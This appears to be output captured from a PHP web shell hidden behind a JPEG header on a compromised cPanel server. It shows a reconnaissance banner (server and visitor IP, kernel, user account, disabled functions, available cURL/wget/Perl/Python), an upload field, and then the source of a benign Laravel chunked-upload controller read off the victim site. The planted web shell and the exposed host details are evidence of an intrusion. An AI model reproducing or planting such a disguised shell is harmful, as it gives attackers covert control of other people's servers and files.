����JFIF��x�x����'
| Server IP : 78.140.185.180 / Your IP : 216.73.216.170 Web Server : LiteSpeed System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : builderbox ( 1072) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /proc/thread-self/root/home/builderbox/././././www/common/Files/Chunks/ |
Upload File : |
<?php
namespace Common\Files\Chunks;
use Common\Core\BaseController;
use Common\Files\FileEntry;
use Common\Settings\Settings;
use File;
use Illuminate\Http\JsonResponse;
use Illuminate\Http\Request;
class ChunkedUploadsController extends BaseController
{
use HandlesUploadChunks;
/**
* @var Request
*/
private $request;
/**
* @var Settings
*/
private $settings;
/**
* @param Request $request
* @param Settings $settings
*/
public function __construct(Request $request, Settings $settings)
{
$this->request = $request;
$this->settings = $settings;
}
/**
* @return JsonResponse
*/
public function load()
{
list($fingerprint, $totalChunks, $chunkIndex, $originalName) = $this->validateUploadParams();
$response = app(GetAlreadyUploadedChunks::class)->execute(
$fingerprint,
$totalChunks,
$originalName,
$this->getMetadata()
);
$chunkDir = $this->chunkDir($fingerprint);
if ( ! isset($response['fileEntry']) && ! File::exists($chunkDir)) {
File::makeDirectory($chunkDir);
}
return $this->success($response);
}
/**
* @return JsonResponse
*/
public function storeChunk()
{
$this->authorize('store', FileEntry::class);
list($fingerprint, $totalChunks, $chunkIndex, $originalName) = $this->validateUploadParams();
app(StoreChunkOnDisk::class)->execute(
$fingerprint,
$chunkIndex,
$this->request->file('file')
);
// TODO: check here if sum of all uploaded chunks equals total file size
// or even checksum, instead of checking if it's last chunk
if ($totalChunks === ($chunkIndex + 1)) {
$response = app(GetAlreadyUploadedChunks::class)->execute(
$fingerprint,
$totalChunks,
$originalName,
$this->getMetadata()
);
}
return $this->success($response ?? []);
}
protected function validateUploadParams(): array
{
$params = [
'fingerPrint' => $this->request->header('Be-Fingerprint') ?? $this->request->get('_fingerprint'),
'totalChunks' => (int) ($this->request->header('Be-Chunk-Count') ?? $this->request->get('_chunkCount')),
'chunkIndex' => (int) ($this->request->header('Be-Chunk-Index') ?? $this->request->get('_chunkNumber')),
'originalName' => $this->request->header('Be-Original-Filename') ?? $this->request->get('_originalFileName')
];
return array_values($this->getValidationFactory()->make($params, [
//'file' => 'required',
'fingerPrint' => 'required|string',
'totalChunks' => 'required|int',
'chunkIndex' => 'required|int',
'originalName' => 'required|string',
])->validate());
}
protected function getMetadata(): array
{
$metadata = $this->request->except('file');
if ($header = $this->request->header('Be-Metadata')) {
foreach (explode(',', $header) as $part) {
$parts = explode(' ', $part);
$metadata[$parts[0]] = isset($parts[1]) ? base64_decode($parts[1]) : null;
}
}
return $metadata;
}
}